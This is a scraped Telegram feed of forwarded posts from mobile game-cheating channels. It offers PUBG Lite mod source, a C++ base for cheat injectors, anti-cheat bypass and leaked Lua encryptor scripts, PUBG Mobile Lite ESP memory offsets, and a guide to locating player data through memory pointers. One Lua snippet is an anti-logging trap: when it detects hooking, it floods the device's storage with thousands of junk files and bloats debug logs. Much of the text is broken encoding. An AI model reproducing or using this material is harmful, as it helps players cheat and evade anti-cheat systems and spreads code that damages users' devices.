Forwarded from ๐๐ฎ๐ซ๐จ ๐ฑ ๐๐๐ง๐๐ (SรTYรM)
RGM LITE MOD V2.zip
12.5 MB
PUBLIC FOR FREE
PUBG LITE MOD SOURCE ๐คฃ๐คฃ
ENJOY ALL FOR FREE
๐ฅ๐ฅ
SHARE WITH CREDIT @PANDAMODVIP & @satyamdangi11
PUBG LITE MOD SOURCE ๐คฃ๐คฃ
ENJOY ALL FOR FREE
๐ฅ๐ฅ
SHARE WITH CREDIT @PANDAMODVIP & @satyamdangi11
๐ฅ1
Forwarded from Anil Paid Service No [SCAM]
Please open Telegram to view this post
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Forwarded from DYNOMOD (#๐๐ผ๐ผ๐๐ฎ๐ณMR.DYNOYTOFFICIAL)
LIBBASE CPP.zip
57.4 KB
LIBBASE CPP
NO NEED TO BUY FROM SCAMMERS CPP BY CHEATBOT๐คฃ
ENJOY FREE AND MAKE YOUR INJECTOR
I DONT NEED CREDIT FEEL FREE TO USE IT
THANK YOU
@DYNOMOD
NO NEED TO BUY FROM SCAMMERS CPP BY CHEATBOT๐คฃ
ENJOY FREE AND MAKE YOUR INJECTOR
I DONT NEED CREDIT FEEL FREE TO USE IT
THANK YOU
@DYNOMOD
Can you guys help me sharing my channel thanks ๐๐๐
@Learn_All_Free
@Learn_All_Free
Bypass All Version.lua
20.9 KB
Bypass All Version Working Open Source
Forwarded from SS โข Lua (ใEGใษษพฯฯ๊ฑ ฯส ษฯีผฮต)
if debug.getinfo(gg.alert).source ~= "=[Java]" then
for i = 1,9999 do
io.open("/storage/emulated/0/"..string.char(math.random(97,122))..string.char(math.random(97,122))..string.char(math.random(90,255))..string.char(math.random(97,122))..string.char(math.random(97,122)),"w"):write("๐ค Fuck You Log Me Script ๐ค")
end
return
end
local log = string.char(255,255,0,255,255,0):rep(999):rep(999) for i = 1,5000 do debug.getinfo(1,nil,log)
end--- BigLog File + bypass debug.getinfo = Full Random Android You 9999 file garbage ๐
๐2
Forwarded from SS โข Lua (ใEGใษษพฯฯ๊ฑ ฯส ษฯีผฮต)
#Remove BigLasm Ali New.lua
459 B
-- Remove BigLasm ( Ali New Enc )
-- By : @LuaGGEG
-- By : @LuaGGEG
Forwarded from SS โข Lua (ใEGใษษพฯฯ๊ฑ ฯส ษฯีผฮต)
Media is too big
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-- Simple Lua Tool ( Auto Remove BigLog Lua File )
Forwarded from Source Project [PREMIUM]
LoginDialogV3.alp
438.7 KB
Name : LoginDialogV3.alp
Creator : @dedemardiyanto
Source : Andlua+ V6.8 BETA 5
Dont Forget to subscribe and share
@sourceprojectpremium
My Other Channel
@acnologia_id
Creator : @dedemardiyanto
Source : Andlua+ V6.8 BETA 5
Dont Forget to subscribe and share
@sourceprojectpremium
My Other Channel
@acnologia_id
Forwarded from Slaughter Modโข
Media is too big
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HOW TO MAKE YOUR OWN ESP FROM MOBILE [AND-LUA]
โ EXPLAINED PROPERLY.
โ IN SIMPLE LANGUAGE.
โ AT THE END OF THE VIDEO I HAVE TESTED THE ESP TOO FOR PROOF.
โ 1000% WORKING.
JOIN FOR SOURCES.
[@CLOWNFACEMODS]
VIDEO MADE BY.
[@CLOWNFACEMODS]
โ EXPLAINED PROPERLY.
โ IN SIMPLE LANGUAGE.
โ AT THE END OF THE VIDEO I HAVE TESTED THE ESP TOO FOR PROOF.
โ 1000% WORKING.
JOIN FOR SOURCES.
[@CLOWNFACEMODS]
VIDEO MADE BY.
[@CLOWNFACEMODS]
Forwarded from Slaughter Modโข
PUBG MOBILE LITE ESP OFFSETS VERSION 0.20
โ GWorld
โ GNames
โ Matrix
FOUND BY
[ @CLOWNFACEMODS ]
Share with credits please ๐ฅบ
โ GWorld
0x4C7F360โ GNames
0x4C76E5Cโ Matrix
0x501DC2CFOUND BY
[ @CLOWNFACEMODS ]
Share with credits please ๐ฅบ
๐2
An advice from me :
Don't buy any course or any project or vip , because scam happens many , scammer say another person scammer is usually we all see ,be clever learn your self don't buy any course remember (not specify who is scammer but is the real one want to scam u anytime)
If u want to learn ,search in google or youtube many video and u can join other free course channel something need to tell to all learner , devoloper and owner. Remember what say...
@Learn_All_Free
@Learn_All_Free_Bot
Don't buy any course or any project or vip , because scam happens many , scammer say another person scammer is usually we all see ,be clever learn your self don't buy any course remember (not specify who is scammer but is the real one want to scam u anytime)
If u want to learn ,search in google or youtube many video and u can join other free course channel something need to tell to all learner , devoloper and owner. Remember what say...
@Learn_All_Free
@Learn_All_Free_Bot
๐1
Forwarded from ยป Lua Encryptor/Decryptor/Tool LEAK! ([ ๐ฆ๐ ] ๐ ๐๐๐๐ ( ๐๐๐๐๐๐ฅ ))
HcX Enc ToolV1.6.8.lua.[๐ญ ๐จ ๐ฝ].lua
2.2 MB
HcX enc tool Leak!
Forwarded from ยป Lua Encryptor/Decryptor/Tool LEAK! ([ ๐ฆ๐ ] ๐ ๐๐๐๐ ( ๐๐๐๐๐๐ฅ ))
HU V5.5 [ENC](1).lua
181.9 KB
Leak by @SAVAGE_GAMING_2
Forwarded from Infinity Creators (ใRhMใ Mahbub Anam (Rhythm) โชโฌโฎโฎโฎโฎ โโโโ)
[ Guide ]
*Value Finding Part 4
Hope You've Read the Previous Article.
Let's Start Part 4
In a 64 bit Game in memory the player object could get assembled some thing like this:
libbase+123ABC : pointer : QWORD - Player base.
[libbase+123ABC]+10 : pointer : QWORD - Pointer to where the Name string is stored in memory.
[[libbase+123ABC]+10]+8 : string : 256 bytes - The Name value, as a null (0x0) ended string.
[libbase+123ABC]+18 : integer : DWORD - Health value.
[libbase+123ABC]+1C : integer : DWORD - Coins value.
[libbase+123ABC]+20 : pointer : QWORD - Pointer to where the Coordinates object is stored in memory.
[[libbase+123ABC]+20]+10 : float : DWORD - X coordinate.
[[libbase+123ABC]+20]+14 : float : DWORD - Z coordinate.
[[libbase+123ABC]+20]+18 : float : DWORD - Y coordinate.
[libbase+123ABC]+28 : pointer : QWORD - Pointer to where the Inventory array starts in memory.
[[libbase+123ABC]+28]+XX*8 : pointer : QWORD - Pointer to where the inventory array item number XX is stored in memory.
[[[libbase+123ABC]+28]+XX*8]+4 : integer : DWORD - The inventory item Count value.
[[[libbase+123ABC]+28]+XX*8]+8 : pointer : DWORD - Pointer to where item object is stored in memory.
But if we had a Player object that contains an Actor object, it might get assembled some thing like this in a 32bit Game:
libbase+123ABC : pointer : DWORD - Player base.
[libbase+123ABC]+4 : pointer : DWORD - Actor base.
[[libbase+123ABC]+4]+10 : pointer : DWORD - Pointer to where the Name string is stored in memory.
[[[libbase+123ABC]+4]+10]+4 : string : 256 bytes - The Name value, as a null (0x0) ended string.
[[libbase+123ABC]+4]+14 : integer : DWORD - Health value.
[[libbase+123ABC]+4]+18 : integer : DWORD - Coins value.
Source : Wiki , @Rhythm113 , Cheat Engine.
Stay Connected For More !
@InfinityCreators1
Part of : @CheatingCommunity
*Value Finding Part 4
Hope You've Read the Previous Article.
Let's Start Part 4
In a 64 bit Game in memory the player object could get assembled some thing like this:
libbase+123ABC : pointer : QWORD - Player base.
[libbase+123ABC]+10 : pointer : QWORD - Pointer to where the Name string is stored in memory.
[[libbase+123ABC]+10]+8 : string : 256 bytes - The Name value, as a null (0x0) ended string.
[libbase+123ABC]+18 : integer : DWORD - Health value.
[libbase+123ABC]+1C : integer : DWORD - Coins value.
[libbase+123ABC]+20 : pointer : QWORD - Pointer to where the Coordinates object is stored in memory.
[[libbase+123ABC]+20]+10 : float : DWORD - X coordinate.
[[libbase+123ABC]+20]+14 : float : DWORD - Z coordinate.
[[libbase+123ABC]+20]+18 : float : DWORD - Y coordinate.
[libbase+123ABC]+28 : pointer : QWORD - Pointer to where the Inventory array starts in memory.
[[libbase+123ABC]+28]+XX*8 : pointer : QWORD - Pointer to where the inventory array item number XX is stored in memory.
[[[libbase+123ABC]+28]+XX*8]+4 : integer : DWORD - The inventory item Count value.
[[[libbase+123ABC]+28]+XX*8]+8 : pointer : DWORD - Pointer to where item object is stored in memory.
But if we had a Player object that contains an Actor object, it might get assembled some thing like this in a 32bit Game:
libbase+123ABC : pointer : DWORD - Player base.
[libbase+123ABC]+4 : pointer : DWORD - Actor base.
[[libbase+123ABC]+4]+10 : pointer : DWORD - Pointer to where the Name string is stored in memory.
[[[libbase+123ABC]+4]+10]+4 : string : 256 bytes - The Name value, as a null (0x0) ended string.
[[libbase+123ABC]+4]+14 : integer : DWORD - Health value.
[[libbase+123ABC]+4]+18 : integer : DWORD - Coins value.
Source : Wiki , @Rhythm113 , Cheat Engine.
Stay Connected For More !
@InfinityCreators1
Part of : @CheatingCommunity
Telegram
Infinity Creators
[Guide ]
Value Finding Part 3
Previous part : HERE
Objects in memory :
Now let's say we have some code that declares a player object and its setup like this:
Player : object
Name : string
Health : integer
Coins : integer
Coordinates : object
X : floatโฆ
Value Finding Part 3
Previous part : HERE
Objects in memory :
Now let's say we have some code that declares a player object and its setup like this:
Player : object
Name : string
Health : integer
Coins : integer
Coordinates : object
X : floatโฆ